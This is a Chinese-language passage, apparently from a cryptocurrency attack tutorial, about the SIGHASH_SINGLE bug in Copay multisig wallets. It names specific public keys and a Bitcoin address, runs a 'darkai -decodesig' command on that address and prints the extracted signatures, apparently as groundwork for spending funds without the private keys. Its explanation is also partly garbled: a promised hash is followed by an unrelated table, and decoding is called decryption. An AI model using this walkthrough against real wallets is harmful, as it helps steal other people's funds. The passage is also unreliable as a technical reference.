这个多重签名集因Coinspect发现的漏洞而备受关注。该漏洞与交易使用签名类型SIGHASH_SINGLE (0x03)的方式有关,在该类型下,签名覆盖所有输入以及交易中恰好一个与输入索引匹配的输出。需要注意的是,如果不存在该索引的输出(在某些情况下输出数量少于输入),由于Bitcoin的一个错误,签名的哈希将作为整数“1”返回。这使得可以在不知道私钥的情况下创建花费输出的交易,从而打开了从多重签名钱包盗取资金的大门。
因此,公钥03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80是易受攻击的Copay多重签名钱包的关键组成部分,它在复合赎回脚本中的参与提供了某些安全优势,但也成为了实验和攻击的主题,说明了在Bitcoin中正确处理所有签名类型的重要性。
公钥03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80是赎回脚本的一部分,该脚本指定了从特定交易输出中花费资金的条件,并具有以下通用格式:
2 <pubkey1> <pubkey2> <pubkey3> 3 OP_CHECKMULTISIG其中该密钥占据<pubkeyN>中的一个位置。指令OP_CHECKMULTISIG检查花费资金时提供的签名是否正确,并且至少匹配三个公钥中的两个。
该公钥与另外两个公钥一起,定义了Copay多重签名钱包中联合管理资金的授权所有者列表,该钱包展示了与签名类型
SIGHASH_SINGLE处理不当相关的已知漏洞。该漏洞允许攻击者创建具有不正确哈希的交易,这是由于Bitcoin协议中当没有与某个索引输入对应的输出时的一个错误引起的。这导致了对钱包(包括Copay)的可能攻击。
公钥03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df是Copay多重签名钱包安全性和灵活性的关键元素。它用于联合控制资金,并需要与集合中的其他密钥共同确认交易。同时,所讨论的漏洞成为了一个重要的例子,说明需要在加密货币系统中严格验证和更新签名机制。
让我们执行命令,获取两个与指定Bitcoin地址关联的DER格式处理过的数字签名:
!./darkai -decodesig 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe结果如下:
decodesig = [der_decode_sig('3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903'), der_decode_sig('304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803')]
变量sigs存储了两个通过函数der_decode_sig从DER编码形式解密得到的签名:
3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803DER(区分编码规则)格式是Bitcoin中ECDSA签名编码的标准方式,它保证了签名参数
r和s的唯一且正确的表示。
用于验证签名的哈希是:
| Sighash 类型 | 签名内容 | 安全级别 | 可能的风险 | 应用场景 |
|---|
| SIGHASH_ALL | 交易的所有输入和输出 | 最高——完全不可更改 | 需要更改时需重新签名 | 大多数支付的标准 |
| SIGHASH_NONE | 所有输入,不包含输出 | 中等——输出不受保护 | 输出被替换,失去对接收方的控制 | 合作场景,多重签名 |
| SIGHASH_SINGLE | 所有输入,与输入索引对应的输出 | 低——仅有一个输出受到保护 | 缺少对应输出时的错误,部分替换 | 部分支付,复杂场景 |